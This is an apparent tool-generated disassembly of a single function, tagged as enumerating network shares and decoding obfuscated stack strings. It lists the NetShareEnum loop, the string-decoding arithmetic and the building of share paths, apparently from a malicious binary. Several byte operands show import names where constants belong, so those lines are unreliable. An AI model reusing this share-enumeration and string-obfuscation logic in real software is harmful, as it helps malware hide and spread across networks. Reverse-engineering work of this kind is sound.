Function at 0x140013b00
Capabilities:
Contain obfuscated stackstrings
Enumerate network shares

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov r15, rdx
mov r13, rcx
mov rax, qword [0x1400503c8]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x4c], 0
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x44], 0
lea rbp, [rsp + 0x44]
lea rsi, [rsp + 0x48]
lea rdi, [rsp + 0x4c]
lea rbx, [rsp + 0x50]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov rcx, r13
mov edx, 1
mov r8, rbx
mov r9d, 0xffffffff
call sub.NETAPI32.dll_NetShareEnum
cmp eax, 0xea
je 0x140013b60
test eax, eax
jne 0x1400142f6
mov rsi, qword [rsp + 0x50]
cmp dword [rsp + 0x4c], 0
je 0x1400142ee
mov r14d, 1
mov r12, qword [sym.imp.KERNEL32.DLL_lstrcatW]
jmp 0x140013c06
lea rcx, [rsp + 0x59]
mov rdx, rbp
call fcn.14000eec0
mov rax, rbp
add rax, 0x7d00
mov qword [rbp + 0x7d00], 0
mov rcx, qword [r15 + 8]
mov qword [rbp + 0x7d08], rcx
mov qword [rcx], rbp
mov qword [r15 + 8], rax
add rsi, 0x18
add r14d, 1
cmp r14d, dword [rsp + 0x4c]
ja 0x1400142e9
mov eax, dword [rsi + 8]
cmp eax, 0x80000000
je 0x140013c1b
cmp eax, 0x40000000
je 0x140013c1b
test eax, eax
jne 0x140013bf3
mov ecx, 0x7d10
call fcn.140036d20
test rax, rax
je 0x140013bf3
mov rbp, rax
mov r8d, 0x7d10
mov rcx, rax
xor edx, edx
call fcn.140033e10
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x59], 0x76
mov byte [rsp + 0x5a], gethostbyname
mov byte [rsp + 0x5b], 4
mov byte [rsp + 0x5c], gethostbyname
mov byte [rsp + 0x5d], 0x2b
mov byte [rsp + 0x5e], gethostbyname
mov byte [rsp + 0x5f], 0x44
mov byte [rsp + 0x60], gethostbyname
mov byte [rsp + 0x61], 5
mov byte [rsp + 0x62], gethostbyname
mov byte [rsp + 0x63], 0x4d
mov byte [rsp + 0x64], gethostbyname
mov byte [rsp + 0x65], gethostbyname
mov byte [rsp + 0x66], gethostbyname
mov al, byte [rsp + 0x58]
test al, 1
jne 0x140013d17
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x58]
movzx ecx, cl
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx]
add edx, 0xfffffe20
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
lea edx, [rdx + rcx*2]
add edx, 0xfffffe20
movzx edx, dx
mov edi, edx
shr edi, 0xf
shr edx, 6
add edx, edi
mov edi, edx
shl edi, 7
sub edx, edi
lea ecx, [rdx + rcx*2]
add ecx, 0xfffffe20
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x58], cl
add rax, 1
cmp rax, 0xf
jne 0x140013ca0
mov rcx, qword [rsi]
lea rdx, [rsp + 0x59]
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x140013bf3
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x59], WSAGetLastError
mov byte [rsp + 0x5a], 0x1d
mov byte [rsp + 0x5b], WSAGetLastError
mov byte [rsp + 0x5c], 0x1d
mov byte [rsp + 0x5d], 0x1d
mov byte [rsp + 0x5e], 0x1d
mov al, byte [rsp + 0x58]
test al, 1
jne 0x140013fc6
mov al, byte [rsp + 0x59]
movzx eax, al
imul eax, eax, 0x33
mov ecx, eax
add ecx, 0xfffffa39
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffa39
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0xfffffa39
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x59], al
mov al, byte [rsp + 0x5a]
movzx eax, al
imul eax, eax, 0x33
mov ecx, eax
add ecx, 0xfffffa39
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffa39
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0xfffffa39
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x5a], al
mov al, byte [rsp + 0x5b]
movzx eax, al
imul eax, eax, 0x33
mov ecx, eax
add ecx, 0xfffffa39
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffa39
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0xfffffa39
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x5b], al
mov al, byte [rsp + 0x5c]
movzx eax, al
imul eax, eax, 0x33
mov ecx, eax
add ecx, 0xfffffa39
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffa39
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0xfffffa39
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x5c], al
mov al, byte [rsp + 0x5d]
movzx eax, al
imul eax, eax, 0x33
mov ecx, eax
add ecx, 0xfffffa39
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffa39
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0xfffffa39
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x5d], al
mov al, byte [rsp + 0x5e]
movzx eax, al
imul eax, eax, 0x33
mov ecx, eax
add ecx, 0xfffffa39
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffa39
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0xfffffa39
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x5e], al
mov rcx, rbp
lea rdx, [rsp + 0x59]
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov rcx, rbp
mov rdx, r13
call r12
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x59], 0x7b
mov byte [rsp + 0x5a], 0x7a
mov byte [rsp + 0x5b], 0x7a
mov byte [rsp + 0x5c], 0x7a
mov al, byte [rsp + 0x58]
test al, 1
jne 0x14001419e
mov al, byte [rsp + 0x59]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x10ae
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x10ae
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x10ae
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x59], al
mov al, byte [rsp + 0x5a]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x10ae
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x10ae
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x10ae
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x5a], al
mov al, byte [rsp + 0x5b]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x10ae
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x10ae
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x10ae
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x5b], al
mov al, byte [rsp + 0x5c]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x10ae
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x10ae
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x10ae
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x5c], al
mov rcx, rbp
lea rdx, [rsp + 0x59]
call r12
mov rdx, qword [rsi]
mov rcx, rbp
call r12
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x59], 0x4c
mov byte [rsp + 0x5a], 0x75
mov byte [rsp + 0x5b], 3
mov byte [rsp + 0x5c], 0x75
mov byte [rsp + 0x5d], 0xe
mov byte [rsp + 0x5e], 0x75
mov byte [rsp + 0x5f], WSAGetLastError
mov byte [rsp + 0x60], 0x75
mov byte [rsp + 0x61], 4
mov byte [rsp + 0x62], 0x75
mov byte [rsp + 0x63], 0x5b
mov byte [rsp + 0x64], 0x75
mov byte [rsp + 0x65], 0x5f
mov byte [rsp + 0x66], 0x75
mov byte [rsp + 0x67], 0x60
mov byte [rsp + 0x68], 0x75
mov byte [rsp + 0x69], 0x3e
mov byte [rsp + 0x6a], 0x75
mov byte [rsp + 0x6b], 0x48
mov byte [rsp + 0x6c], 0x75
mov byte [rsp + 0x6d], 0x1b
mov byte [rsp + 0x6e], 0x75
mov byte [rsp + 0x6f], 0x5b
mov byte [rsp + 0x70], 0x75
mov byte [rsp + 0x71], 0x4f
mov byte [rsp + 0x72], 0x75
mov byte [rsp + 0x73], 0x5f
mov byte [rsp + 0x74], 0x75
mov byte [rsp + 0x75], 0x20
mov byte [rsp + 0x76], 0x75
mov byte [rsp + 0x77], 0x75
mov byte [rsp + 0x78], 0x75
mov al, byte [rsp + 0x58]
test al, 1
jne 0x140013bc0
xor eax, eax
nop word cs:[rax + rax]
nop
movzx ecx, byte [rsp + rax + 0x59]
movzx ecx, cl
imul ecx, ecx, 0xfffffff5
mov edx, ecx
add edx, 0x507
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x507
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x507
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x59], cl
add rax, 1
cmp rax, 0x20
jne 0x140014270
jmp 0x140013bc0
mov rsi, qword [rsp + 0x50]
mov rcx, rsi
call sub.NETAPI32.dll_NetApiBufferFree
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140031ee0
nop
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret